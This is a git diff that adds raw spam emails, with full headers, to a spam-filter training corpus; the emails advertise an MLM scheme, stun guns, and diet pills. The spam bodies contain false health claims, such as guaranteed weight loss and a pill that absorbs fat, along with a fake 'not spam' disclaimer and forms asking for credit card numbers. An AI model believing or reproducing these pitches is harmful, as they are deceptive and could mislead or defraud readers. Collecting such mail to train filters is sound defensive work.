00896.61fc773e2dfba14cee4a58a2996e5597 00896.61fc773e2dfba14cee4a58a2996e5597 +mv 00897.d61b96a3658c79ec85a760b887506112 00897.d61b96a3658c79ec85a760b887506112 +mv 00898.b1a18faabb5353af6a2ad8a156d3bfbe 00898.b1a18faabb5353af6a2ad8a156d3bfbe +mv 00899.ebda16f739e9e222b56d0c71ca51b82f 00899.ebda16f739e9e222b56d0c71ca51b82f +mv 00900.a95137fbc6f04e8669849f4319a371bb 00900.a95137fbc6f04e8669849f4319a371bb +mv 00901.c433dbbc247c4d2758391c34b92f4e9d 00901.c433dbbc247c4d2758391c34b92f4e9d +mv 00902.a538cb6b30f5f3d28ea4261597ffa510 00902.a538cb6b30f5f3d28ea4261597ffa510 +mv 00903.ec8820827b3b3b89e471ba86d3ec88c8 00903.ec8820827b3b3b89e471ba86d3ec88c8 +mv 00904.d5cb0c089eddf2dd8c97faf97a52d905 00904.d5cb0c089eddf2dd8c97faf97a52d905 +mv 00905.defebe39d659693316e71ad1cd70b127 00905.defebe39d659693316e71ad1cd70b127 +mv 00906.8954ab8472de12f18c0dc6fb4c254da7 00906.8954ab8472de12f18c0dc6fb4c254da7 +mv 00907.6833c73d3a487ad7f75431a819a365c5 00907.6833c73d3a487ad7f75431a819a365c5 +mv 00908.fa150b0b994587469112fbcb7e8cc2bc 00908.fa150b0b994587469112fbcb7e8cc2bc +mv 00909.4030b6c4e4c01ff28fa7c767109997a3 00909.4030b6c4e4c01ff28fa7c767109997a3 +mv 00910.4b1bddb9bfc1cea936f0f8cae0cd097d 00910.4b1bddb9bfc1cea936f0f8cae0cd097d +mv 00911.91dd363a1ba091de446dd40a24816ab3 00911.91dd363a1ba091de446dd40a24816ab3 +mv 00912.74b435accaf4e65a948c7769b6380f01 00912.74b435accaf4e65a948c7769b6380f01 +mv 00913.feedb49583d7f4cd656ee7139598e706 00913.feedb49583d7f4cd656ee7139598e706 +mv 00914.728d09e121c1a735c94174a9171b814f 00914.728d09e121c1a735c94174a9171b814f +mv 00915.5c8a9df80b70af9883deabbedb905d94 00915.5c8a9df80b70af9883deabbedb905d94 +mv 00916.892ff99f6e224042cfb4392b57fec056 00916.892ff99f6e224042cfb4392b57fec056 +mv 00917.07741f95320ad6bbf7ac152645c1c8ae 00917.07741f95320ad6bbf7ac152645c1c8ae +mv 00918.0881c41b33de2efe11464c2fac2ed760 00918.0881c41b33de2efe11464c2fac2ed760 +mv 00919.0009a4cbba10103048f87499fc0e73d8 00919.0009a4cbba10103048f87499fc0e73d8 +mv 00920.743eb834544d6f68b44c7a91ea570f6f 00920.743eb834544d6f68b44c7a91ea570f6f +mv 00921.41c7e4d55fe0c54686e4c19184c48d17 00921.41c7e4d55fe0c54686e4c19184c48d17 +mv 00922.8cf18af404b07fec0251f809c8ccf370 00922.8cf18af404b07fec0251f809c8ccf370 +mv 00923.521c1f08fb31ac1dd27c75c588e1f252 00923.521c1f08fb31ac1dd27c75c588e1f252 +mv 00924.374197012a2e87b0ecd463e584b0702b 00924.374197012a2e87b0ecd463e584b0702b +mv 00925.02443d63888a5691bc8ea440fa9feeef 00925.02443d63888a5691bc8ea440fa9feeef +mv 00926.eed4da873da1b2b4009ea9f57eb34e68 00926.eed4da873da1b2b4009ea9f57eb34e68 +mv 00927.43abf92b4bb6428ae93fa996a0602daa 00927.43abf92b4bb6428ae93fa996a0602daa +mv 00928.b76bc17c6c6b99d4f3c66726b0a6f621 00928.b76bc17c6c6b99d4f3c66726b0a6f621 +mv 00929.2a34239559a12706a924bfabad41a5f6 00929.2a34239559a12706a924bfabad41a5f6 +mv 00930.d20e3d61ecf2c7f599c99808529b333c 00930.d20e3d61ecf2c7f599c99808529b333c +mv 00931.90eba49bd3b2aa36a3f4f5dd34d2ba7a 00931.90eba49bd3b2aa36a3f4f5dd34d2ba7a +mv 00932.022257926109e7a87021f0ae690792be 00932.022257926109e7a87021f0ae690792be +mv 00933.d8902fb6cca828eb34fb1a0300950704 00933.d8902fb6cca828eb34fb1a0300950704 +mv 00934.76cd57955d5efc3a84d965b91fb1548e 00934.76cd57955d5efc3a84d965b91fb1548e +mv 00935.99fb04563212518a57885b901833d04d 00935.99fb04563212518a57885b901833d04d +mv 00936.c67a262366df25ed50ae9f6ed3ac5396 00936.c67a262366df25ed50ae9f6ed3ac5396 +mv 00937.68935e1b2337011c372fcb6de757737b 00937.68935e1b2337011c372fcb6de757737b +mv 00938.6fe1c791dc457dff05038e48d3625d93 00938.6fe1c791dc457dff05038e48d3625d93 +mv 00939.d6d2250a7e855513820bd35e36883d5a 00939.d6d2250a7e855513820bd35e36883d5a +mv 00940.f48ea03fc7357f9bf0b7fdc934bbf270 00940.f48ea03fc7357f9bf0b7fdc934bbf270 +mv 00941.7e73d0b5d1de68eabc52c3e8d05349d8 00941.7e73d0b5d1de68eabc52c3e8d05349d8 +mv 00942.b57cfed7c3f2f3238643929b9118ed3b 00942.b57cfed7c3f2f3238643929b9118ed3b +mv 00943.3aff5bb6204ff82c23a293a92e180e6f 00943.3aff5bb6204ff82c23a293a92e180e6f +mv 00944.2e5be87c72bd8346791a005cb715f640 00944.2e5be87c72bd8346791a005cb715f640 +mv 00945.334b11a09567241ae4647487aa140392 00945.334b11a09567241ae4647487aa140392 +mv 00946.6d3c3492c0310d58e7eccadf18fbd9de 00946.6d3c3492c0310d58e7eccadf18fbd9de +mv 00947.5983cb8fa9a4c2a27cb6eca03e0be56d 00947.5983cb8fa9a4c2a27cb6eca03e0be56d +mv 00948.45f4b4bb682dc47ef46832c9c6fc7499 00948.45f4b4bb682dc47ef46832c9c6fc7499 +mv 00949.c95efde29210bb5d7ffd820283ef2821 00949.c95efde29210bb5d7ffd820283ef2821 +mv 00950.faa69102e30c15ae98cdfee27a2763a7 00950.faa69102e30c15ae98cdfee27a2763a7 +mv 00951.8fb9dfe3439c2d9380e5d3c490d6f4bd 00951.8fb9dfe3439c2d9380e5d3c490d6f4bd +mv 00952.20f2a87e04d388867133510c9550135e 00952.20f2a87e04d388867133510c9550135e +mv 00953.9f9ee238cc01866c7ceb6e00b41c9b8e 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01385.508a461a95c7420e52a29cf2c2cac912 +mv 01386.7019c4fe138653195097d8064c11cb80 01386.7019c4fe138653195097d8064c11cb80 +mv 01387.440c2de262b8b3040d75a66e0af81bfd 01387.440c2de262b8b3040d75a66e0af81bfd +mv 01388.8bdd1ecbba6a6739b067fe88cd0fa281 01388.8bdd1ecbba6a6739b067fe88cd0fa281 +mv 01389.e4cfb234aace4e12b2d9453686c911c9 01389.e4cfb234aace4e12b2d9453686c911c9 +mv 01390.e377b9fcbb54f20570b42b5b37801dd8 01390.e377b9fcbb54f20570b42b5b37801dd8 +mv 01391.00e6f3a6dc816f22335f1b0fd6098eda 01391.00e6f3a6dc816f22335f1b0fd6098eda +mv 01392.6a9e94b131381aa631022fc1b6c9bdab 01392.6a9e94b131381aa631022fc1b6c9bdab +mv 01393.40e9333a57d6f73d1eb2080a6b059848 01393.40e9333a57d6f73d1eb2080a6b059848 +mv 01394.da9d8ba7a96f32e56818f2ea2bb2b611 01394.b4dd1cece01b908f040e33493643c4a4 +mv 01395.06c36ad418090abbf3de18337901c856 01395.65a2be0a7f93369c253c4bac543fdeb8 +mv 01396.ea618c636c26f8f5c641165a34bce39c 01396.61983fbe6ec43f55fd44e30fce24ffa6 +mv 01397.756f18d7ce8acbc57fa53c812f60fbe4 01397.9f9ef4c2a8dc012d80f2ce2d3473d3b7 +mv 01398.2733073a8f598df50b9d792611ba320d 01398.169b51731fe569f42169ae8f948ec676 +mv 01399.fa3eea28c7aee8f6b7b2aae89b2b0064 01399.ca6b00b7b341bbde9a9ea3dd6a7bf896 +mv 01400.1555194bae2884f89530103d4b47de15 01400.f897f0931e461e7b2e964d28e927c35e diff --git a/bayes/spamham/spam_2/00001.317e78fa8ee2f54cd4890fdc09ba8176 b/bayes/spamham/spam_2/00001.317e78fa8ee2f54cd4890fdc09ba8176 new file mode 100644 index 0000000..8bad787 --- /dev/null +++ b/bayes/spamham/spam_2/00001.317e78fa8ee2f54cd4890fdc09ba8176 @@ -0,0 +1,108 @@ +From ilug-admin@linux.ie Tue Aug 6 11:51:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9E1F5441DD + for ; Tue, 6 Aug 2002 06:48:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72LqWv13294 for + ; Fri, 2 Aug 2002 22:52:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA31224; Fri, 2 Aug 2002 22:50:17 +0100 +Received: from bettyjagessar.com (w142.z064000057.nyc-ny.dsl.cnc.net + [64.0.57.142]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id WAA31201 for + ; Fri, 2 Aug 2002 22:50:11 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host w142.z064000057.nyc-ny.dsl.cnc.net + [64.0.57.142] claimed to be bettyjagessar.com +Received: from 64.0.57.142 [202.63.165.34] by bettyjagessar.com + (SMTPD32-7.06 EVAL) id A42A7FC01F2; Fri, 02 Aug 2002 02:18:18 -0400 +Message-Id: <1028311679.886@0.57.142> +Date: Fri, 02 Aug 2002 23:37:59 0530 +To: ilug@linux.ie +From: "Start Now" +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII"; format=flowed +Subject: [ILUG] STOP THE MLM INSANITY +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Greetings! + +You are receiving this letter because you have expressed an interest in +receiving information about online business opportunities. If this is +erroneous then please accept my most sincere apology. This is a one-time +mailing, so no removal is necessary. + +If you've been burned, betrayed, and back-stabbed by multi-level marketing, +MLM, then please read this letter. It could be the most important one that +has ever landed in your Inbox. + +MULTI-LEVEL MARKETING IS A HUGE MISTAKE FOR MOST PEOPLE + +MLM has failed to deliver on its promises for the past 50 years. The pursuit +of the "MLM Dream" has cost hundreds of thousands of people their friends, +their fortunes and their sacred honor. The fact is that MLM is fatally +flawed, meaning that it CANNOT work for most people. + +The companies and the few who earn the big money in MLM are NOT going to +tell you the real story. FINALLY, there is someone who has the courage to +cut through the hype and lies and tell the TRUTH about MLM. + +HERE'S GOOD NEWS + +There IS an alternative to MLM that WORKS, and works BIG! If you haven't yet +abandoned your dreams, then you need to see this. Earning the kind of income +you've dreamed about is easier than you think! + +With your permission, I'd like to send you a brief letter that will tell you +WHY MLM doesn't work for most people and will then introduce you to +something so new and refreshing that you'll wonder why you haven't heard of +this before. + +I promise that there will be NO unwanted follow up, NO sales pitch, no one +will call you, and your email address will only be used to send you the +information. Period. + +To receive this free, life-changing information, simply click Reply, type +"Send Info" in the Subject box and hit Send. I'll get the information to you +within 24 hours. Just look for the words MLM WALL OF SHAME in your Inbox. + +Cordially, + +Siddhi + +P.S. Someone recently sent the letter to me and it has been the most +eye-opening, financially beneficial information I have ever received. I +honestly believe that you will feel the same way once you've read it. And +it's FREE! + + +------------------------------------------------------------ +This email is NEVER sent unsolicited. THIS IS NOT "SPAM". You are receiving +this email because you EXPLICITLY signed yourself up to our list with our +online signup form or through use of our FFA Links Page and E-MailDOM +systems, which have EXPLICIT terms of use which state that through its use +you agree to receive our emailings. You may also be a member of a Altra +Computer Systems list or one of many numerous FREE Marketing Services and as +such you agreed when you signed up for such list that you would also be +receiving this emailing. +Due to the above, this email message cannot be considered unsolicitated, or +spam. +----------------------------------------------------------- + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/spam_2/00002.9438920e9a55591b18e60d1ed37d992b b/bayes/spamham/spam_2/00002.9438920e9a55591b18e60d1ed37d992b new file mode 100644 index 0000000..88a809e --- /dev/null +++ b/bayes/spamham/spam_2/00002.9438920e9a55591b18e60d1ed37d992b @@ -0,0 +1,186 @@ +From lmrn@mailexcite.com Mon Jun 24 17:03:24 2002 +Return-Path: merchantsworld2001@juno.com +Delivery-Date: Mon May 13 04:46:13 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4D3kCe15097 for + ; Mon, 13 May 2002 04:46:12 +0100 +Received: from 203.129.205.5.205.129.203.in-addr.arpa ([203.129.205.5]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g4D3k2D12605 for + ; Mon, 13 May 2002 04:46:04 +0100 +Received: from html (unverified [207.95.174.49]) by + 203.129.205.5.205.129.203.in-addr.arpa (EMWAC SMTPRS 0.83) with SMTP id + ; Mon, 13 May 2002 + 09:04:46 +0530 +Message-Id: +From: lmrn@mailexcite.com +To: ranmoore@cybertime.net +Subject: Real Protection, Stun Guns! Free Shipping! Time:2:01:35 PM +Date: Mon, 28 Jul 1980 14:01:35 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="DEFAULT" + + + +
+

+ + +The Need For Safety Is Real In 2002, You Might Only Get One Chance - Be Ready! +

+Free Shipping & Handling Within The (USA) If You Order Before May 25, 2002! +

+3 Day Super Sale, Now Until May 7, 2002! Save Up To $30.00 On Some Items! + + + +

+
+

+IT'S GETTING TO BE SPRING AGAIN, PROTECT YOURSELF AS YOU WALK,
+JOG AND EXERCISE OUTSIDE. ALSO PROTECT YOUR LOVED ONES AS
+THEY RETURN HOME FROM COLLEGE!
+

+* LEGAL PROTECTION FOR COLLEGE STUDENTS!
+* GREAT UP'COMING OUTDOOR PROTECTION GIFTS!
+* THERE IS NOTHING WORTH MORE PROTECTING THAN LIFE!
+* OUR STUN DEVICES & PEPPER PRODUCTS ARE LEGAL PROTECTION! +

+ + +JOIN THE WAR ON CRIME! + + +

+ +STUN GUNS AND BATONS +

+EFFECTIVE - SAFE - NONLETHAL +

+PROTECT YOUR LOVED ONES AND YOURSELF +

+No matter who you are, no matter what City or Town you live in,
+if you live in America, you will be touched by crime. +

+You hear about it on TV. You read about it in the newspaper.
+It's no secret that crime is a major problem in the U.S. today.
+Criminals are finding it easier to commit crimes all the time. +

+Weapons are readily available. Our cities' police forces have
+more work than they can handle. Even if these criminal are
+caught, they won't be spending long in our nation's overcrowded
+jails. And while lawmakers are well aware of the crime problem,
+they don't seem to have any effective answers. +

+Our Email Address: Merchants4all@aol.com +

+INTERESTED: +

+You will be protecting yourself within 7 days! Don't Wait,
+visit our web page below, and join The War On Crime! +

+*****************
+http://www.geocities.com/realprotection_20022003/
+***************** +

+Well, there is an effective answer. Take responsibility for
+your own security. Our site has a variety of quality personal
+security products. Visit our site, choose the personal security
+products that are right for you. Use them, and join the war on +crime! +

+FREE PEPPER SPRAY WITH ANY STUN UNIT PURCHASE.
+(A Value of $15.95) +

+We Ship Orders Within 5 To 7 Days, To Every State In The U.S.A.
+by UPS, FEDEX, or U.S. POSTAL SERVICE. Visa, MasterCard, American
+Express & Debt Card Gladly Accepted. +

+Ask yourself this question, if you don't help your loved ones, +who will? +

+INTERESTED: +

+*****************
+http://www.geocities.com/realprotection_20022003/
+***************** +

+___The Stun Monster 625,000 Volts ($86.95)
+___The Z-Force Slim Style 300,000 Volts ($64.95)
+___The StunMaster 300,000 Volts Straight ($59.95)
+___The StunMaster 300,000 Volts Curb ($59.95)
+___The StunMaster 200,000 Volts Straight ($49.95)
+___The StunMaster 200,000 Volts Curb ($49.95)
+___The StunBaton 500,000 Volts ($89.95)
+___The StunBaton 300,000 Volts ($79.95)
+___Pen Knife (One $12.50, Two Or More $9.00)
+___Wildfire Pepper Spray (One $15.95, Two Or More $11.75) +

+___Add $5.75 For Shipping & Handling Charge. +

+ +To Order by postal mail, please send to the below address.
+Make payable to Mega Safety Technology. +

+Mega Safety Technology
+3215 Merrimac Ave.
+Dayton, Ohio 45405
+Our Email Address: Merchants4all@aol.com +

+Order by 24 Hour Fax!!! 775-257-6657. +

+*****
+Important Credit Card Information! Please Read Below! +

+* Credit Card Address, City, State and Zip Code, must match + billing address to be processed. +

+ +CHECK____ MONEYORDER____ VISA____ MASTERCARD____ AmericanExpress___ +Debt Card___ +

+Name_______________________________________________________
+(As it appears on Check or Credit Card) +

+Address____________________________________________________
+(As it appears on Check or Credit Card) +

+___________________________________________________
+City,State,Zip(As it appears on Check or Credit Card) +

+___________________________________________________
+Country +

+___________________________________________________
+(Credit Card Number) +

+Expiration Month_____ Year_____ +

+___________________________________________________
+Authorized Signature +

+ +*****IMPORTANT NOTE***** + +

+If Shipping Address Is Different From The Billing Address Above, +Please Fill Out Information Below. +

+Shipping Name______________________________________________ +

+Shipping Address___________________________________________ +

+___________________________________________________________
+Shipping City,State,Zip +

+___________________________________________________________
+Country +

+___________________________________________________________
+Email Address & Phone Number(Please Write Neat) + + diff --git a/bayes/spamham/spam_2/00003.590eff932f8704d8b0fcbe69d023b54d b/bayes/spamham/spam_2/00003.590eff932f8704d8b0fcbe69d023b54d new file mode 100644 index 0000000..e828804 --- /dev/null +++ b/bayes/spamham/spam_2/00003.590eff932f8704d8b0fcbe69d023b54d @@ -0,0 +1,211 @@ +From amknight@mailexcite.com Mon Jun 24 17:03:49 2002 +Return-Path: merchantsworld2001@juno.com +Delivery-Date: Wed May 15 08:58:23 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4F7wIe23864 for + ; Wed, 15 May 2002 08:58:18 +0100 +Received: from webcust2.hightowertech.com (webcust2.hightowertech.com + [216.41.166.100]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with + ESMTP id g4F7wGD24120 for ; Wed, 15 May 2002 08:58:17 + +0100 +Received: from html ([206.216.197.214]) by webcust2.hightowertech.com with + Microsoft SMTPSVC(5.5.1877.197.19); Wed, 15 May 2002 00:55:53 -0700 +From: amknight@mailexcite.com +To: cbmark@cbmark.com +Subject: New Improved Fat Burners, Now With TV Fat Absorbers! Time:6:25:49 PM +Date: Wed, 30 Jul 1980 18:25:49 +MIME-Version: 1.0 +Message-Id: <0845b5355070f52WEBCUST2@webcust2.hightowertech.com> +X-Keywords: +Content-Type: text/html; charset="DEFAULT" + + + +

+ + +*****Bonus Fat Absorbers As Seen On TV, Included Free With Purchase Of 2 Or More Bottle, $24.95 Value***** + +
+
+***TAKE $10.00 OFF 2 & 3 MONTH SUPPLY ORDERS, $5.00 OFF 1 MONTH SUPPLY! +***AND STILL GET YOUR BONUS! PRICE WILL BE DEDUCTED DURING PROCESSING. +
+
+***FAT ABSORBERS ARE GREAT FOR THOSE WHO WANT TO LOSE WEIGHT, BUT CAN'T STAY ON A DIET*** +
+
+***OFFER GOOD UNTIL MAY 27, 2002! FOREIGN ORDERS INCLUDED! +
+
+ + + +LOSE 30 POUNDS IN 30 DAYS... GUARANTEED!!! +
+
+ +All Natural Weight-Loss Program, Speeds Up The Metabolism Safely +Rated #1 In Both Categories of SAFETY & EFFECTIVENESS In
+(THE United States Today) +

+WE'LL HELP YOU GET THINNER! +WE'RE GOING TO HELP YOU LOOK GOOD, FEEL GOOD AND TAKE CONTROL IN +2002 +
+
+ + +
+ +Why Use Our Amazing Weight Loss Capsules? +

+* They act like a natural magnet to attract fat.
+* Stimulates the body's natural metabolism.
+* Controls appetite naturally and makes it easier to + eat the right foods consistently.
+* Reduces craving for sweets.
+* Aids in the absorption of fat and in overall digestion.
+* Inhibits bad cholesterol and boosts good cholesterol.
+* Aids in the process of weight loss and long-term weight management.
+* Completely safe, UltraTrim New Century contains no banned + substances and has no known side effects.
+
+What Makes UltraTrim New Century Unique? +

+A scientifically designed combination of natural ingredients that +provide long-term weight management in a safe and effective manner. +

+*****
+Receive A Bonus Supply Of Ultra Trim New Century & A Bottle Of Fat Absorbers Listed Above, +With Every Order Of 2 Or More Bottles. Offer Good Until May. 27, 2002!
+***** +

+WE GLADLY SHIP TO ALL FOREIGN COUNTRIES! +

+You will be losing by tomorrow! Don't Wait, visit our web +page below, and order now! +

+Email Address: ultratrimnow2001@aol.com +

+Order by 24 Hour Fax!!! 775-257-6657.
+
+*****************
+http://www.geocities.com/ultra_weightloss_2002/
+***************** +

+This is the easiest, fastest, and most effective way to lose both +pounds and inches permanently!!! This weight loss program is +designed specifically to "boost" weight-loss efforts by assisting +body metabolism, and helping the body's ability to manage weight. +A powerful, safe, 30 Day Program. This is one program you won't +feel starved on. Complete program for one amazing low price! +Program includes: BONUS AMAZING FAT ABSORBER CAPSULES, 30 DAY - +WEIGHT +REDUCTION PLAN, PROGRESS REPORT! +

+SPECIAL BONUS..."FAT ABSORBERS", AS SEEN ON TV +With every order...AMAZING MELT AWAY FAT ABSORBER CAPSULES with +directions ( Absolutely Free ) ...With these capsules +you can eat what you enjoy, without the worry of fat in your diet. +2 to 3 capsules 15 minutes before eating or snack, and the fat will be +absorbed and passed through the body without the digestion of fat into +the body. +

+You will be losing by tomorrow! Don't Wait, visit our web +page below, and order now! +

+Email Address: ultratrimnow2001@aol.com +

+ +Order by 24 Hour Fax!!! 775-257-6657.
+
+*****************
+http://www.geocities.com/ultra_weightloss_2002/
+***************** +

+___1 Month Supply $32.95 plus $4.75 S & H, 100 Amazing MegaTrim + Capsules. +

+___2 Month Supply $54.95 plus $4.75 S & H, 200 Amazing MegaTrim + Capsules. (A $10.95 Savings, Free Bottle)! +

+___3 Month Supply $69.95, Plus $4.75 S & H, 300 Amazing MegaTrim + Capsules. (A $28.90 Savings, Free Bottle)! +

+To Order by postal mail, please send to the below address. +Make payable to UltraTrim 2002. +

+Ultra Trim 2002
+4132 Pompton Ct.
+Dayton, Ohio 45405
+(937) 567-9807
+
+Order by 24 Hour Voice/Fax!!! 775-257-6657.
+
+*****
+Important Credit Card Information! Please Read Below! +

+* Credit Card Address, City, State and Zip Code, must match + billing address to be processed. +

+ +___Check
+___MoneyOrder
+___Visa
+___MasterCard
+___AmericanExpress
+___Debt Card +

+Name_______________________________________________________
+(As it appears on Check or Credit Card) +

+Address____________________________________________________
+(As it appears on Check or Credit Card) +

+___________________________________________________
+City,State,Zip(As it appears on Check or Credit Card) +

+___________________________________________________
+Country +

+___________________________________________________
+(Credit Card Number) +

+Expiration Month_____ Year_____ +

+___________________________________________________
+Authorized Signature +

+ +*****IMPORTANT NOTE***** + +

+If Shipping Address Is Different From The Billing Address Above, +Please Fill Out Information Below. +

+Shipping Name______________________________________________ +

+Shipping Address___________________________________________ +

+___________________________________________________________
+Shipping City,State,Zip +

+___________________________________________________________
+Country +

+___________________________________________________________
+Email Address & Phone Number(Please Write Neat) +
+
+
+To Be Removed From Our Mail List, Click Here And Put The Word Remove In The Subject Line. +
+
+
+ + diff --git a/bayes/spamham/spam_2/00004.bdcc075fa4beb5157b5dd6cd41d8887b b/bayes/spamham/spam_2/00004.bdcc075fa4beb5157b5dd6cd41d8887b new file mode 100644 index 0000000..13c3b13 --- /dev/null +++ b/bayes/spamham/spam_2/00004.bdcc075fa4beb5157b5dd6cd41d8887b @@ -0,0 +1,213 @@ +From jordan23@mailexcite.com Mon Jun 24 17:04:20 2002 +Return-Path: merchantsworld2001@juno.com +Delivery-Date: Thu May 16 11:03:55 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4GA3qe29480 for + ; Thu, 16 May 2002 11:03:52 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4GA3oD28650 for + ; Thu, 16 May 2002 11:03:51 +0100 +Received: from webcust2.hightowertech.com (webcust2.hightowertech.com + [216.41.166.100]) by webnote.net (8.9.3/8.9.3) with ESMTP id BAA11067 for + ; Thu, 16 May 2002 01:58:00 +0100 +Received: from html ([199.35.236.73]) by webcust2.hightowertech.com with + Microsoft SMTPSVC(5.5.1877.197.19); Wed, 15 May 2002 13:50:57 -0700 +From: jordan23@mailexcite.com +To: ranmoore@swbell.net +Subject: New Improved Fat Burners, Now With TV Fat Absorbers! Time:7:20:54 AM +Date: Thu, 31 Jul 1980 07:20:54 +MIME-Version: 1.0 +Message-Id: <0925c5750200f52WEBCUST2@webcust2.hightowertech.com> +X-Keywords: +Content-Type: text/html; charset="DEFAULT" + + + +
+ + +*****Bonus Fat Absorbers As Seen On TV, Included Free With Purchase Of 2 Or More Bottle, $24.95 Value***** + +
+
+***TAKE $10.00 OFF 2 & 3 MONTH SUPPLY ORDERS, $5.00 OFF 1 MONTH SUPPLY! +***AND STILL GET YOUR BONUS! PRICE WILL BE DEDUCTED DURING PROCESSING. +
+
+***FAT ABSORBERS ARE GREAT FOR THOSE WHO WANT TO LOSE WEIGHT, BUT CAN'T STAY ON A DIET*** +
+
+***OFFER GOOD UNTIL MAY 27, 2002! FOREIGN ORDERS INCLUDED! +
+
+ + + +LOSE 30 POUNDS IN 30 DAYS... GUARANTEED!!! +
+
+ +All Natural Weight-Loss Program, Speeds Up The Metabolism Safely +Rated #1 In Both Categories of SAFETY & EFFECTIVENESS In
+(THE United States Today) +

+WE'LL HELP YOU GET THINNER! +WE'RE GOING TO HELP YOU LOOK GOOD, FEEL GOOD AND TAKE CONTROL IN +2002 +
+
+ + +
+ +Why Use Our Amazing Weight Loss Capsules? +

+* They act like a natural magnet to attract fat.
+* Stimulates the body's natural metabolism.
+* Controls appetite naturally and makes it easier to + eat the right foods consistently.
+* Reduces craving for sweets.
+* Aids in the absorption of fat and in overall digestion.
+* Inhibits bad cholesterol and boosts good cholesterol.
+* Aids in the process of weight loss and long-term weight management.
+* Completely safe, UltraTrim New Century contains no banned + substances and has no known side effects.
+
+What Makes UltraTrim New Century Unique? +

+A scientifically designed combination of natural ingredients that +provide long-term weight management in a safe and effective manner. +

+*****
+Receive A Bonus Supply Of Ultra Trim New Century & A Bottle Of Fat Absorbers Listed Above, +With Every Order Of 2 Or More Bottles. Offer Good Until May. 27, 2002!
+***** +

+WE GLADLY SHIP TO ALL FOREIGN COUNTRIES! +

+You will be losing by tomorrow! Don't Wait, visit our web +page below, and order now! +

+Email Address: ultratrimnow2001@aol.com +

+Order by 24 Hour Fax!!! 775-257-6657.
+
+*****************
+http://www.geocities.com/ultra_weightloss_2002/
+***************** +

+This is the easiest, fastest, and most effective way to lose both +pounds and inches permanently!!! This weight loss program is +designed specifically to "boost" weight-loss efforts by assisting +body metabolism, and helping the body's ability to manage weight. +A powerful, safe, 30 Day Program. This is one program you won't +feel starved on. Complete program for one amazing low price! +Program includes: BONUS AMAZING FAT ABSORBER CAPSULES, 30 DAY - +WEIGHT +REDUCTION PLAN, PROGRESS REPORT! +

+SPECIAL BONUS..."FAT ABSORBERS", AS SEEN ON TV +With every order...AMAZING MELT AWAY FAT ABSORBER CAPSULES with +directions ( Absolutely Free ) ...With these capsules +you can eat what you enjoy, without the worry of fat in your diet. +2 to 3 capsules 15 minutes before eating or snack, and the fat will be +absorbed and passed through the body without the digestion of fat into +the body. +

+You will be losing by tomorrow! Don't Wait, visit our web +page below, and order now! +

+Email Address: ultratrimnow2001@aol.com +

+ +Order by 24 Hour Fax!!! 775-257-6657.
+
+*****************
+http://www.geocities.com/ultra_weightloss_2002/
+***************** +

+___1 Month Supply $32.95 plus $4.75 S & H, 100 Amazing MegaTrim + Capsules. +

+___2 Month Supply $54.95 plus $4.75 S & H, 200 Amazing MegaTrim + Capsules. (A $10.95 Savings, Free Bottle)! +

+___3 Month Supply $69.95, Plus $4.75 S & H, 300 Amazing MegaTrim + Capsules. (A $28.90 Savings, Free Bottle)! +

+To Order by postal mail, please send to the below address. +Make payable to UltraTrim 2002. +

+Ultra Trim 2002
+4132 Pompton Ct.
+Dayton, Ohio 45405
+(937) 567-9807
+
+Order by 24 Hour Voice/Fax!!! 775-257-6657.
+
+*****
+Important Credit Card Information! Please Read Below! +

+* Credit Card Address, City, State and Zip Code, must match + billing address to be processed. +

+ +___Check
+___MoneyOrder
+___Visa
+___MasterCard
+___AmericanExpress
+___Debt Card +

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+ + diff --git a/bayes/spamham/spam_2/00005.ed0aba4d386c5e62bc737cf3f0ed9589 b/bayes/spamham/spam_2/00005.ed0aba4d386c5e62bc737cf3f0ed9589 new file mode 100644 index 0000000..f59fb7f --- /dev/null +++ b/bayes/spamham/spam_2/00005.ed0aba4d386c5e62bc737cf3f0ed9589 @@ -0,0 +1,161 @@ +From merchantsworld2001@juno.com Tue Aug 6 11:01:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8399C44126 + for ; Tue, 6 Aug 2002 05:55:17 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:55:17 +0100 (IST) +Received: from ns1.snaapp.com (066.dsl6660167.bstatic.surewest.net [66.60.167.66]) + by webnote.net (8.9.3/8.9.3) with ESMTP id BAA09623 + for ; Sun, 4 Aug 2002 01:37:55 +0100 +Message-Id: <200208040037.BAA09623@webnote.net> +Received: from html ([199.35.244.221]) by ns1.snaapp.com + (Post.Office MTA v3.1.2 release (PO205-101c) + ID# 0-47762U100L2S100) with SMTP id ABD354; + Sat, 3 Aug 2002 17:32:59 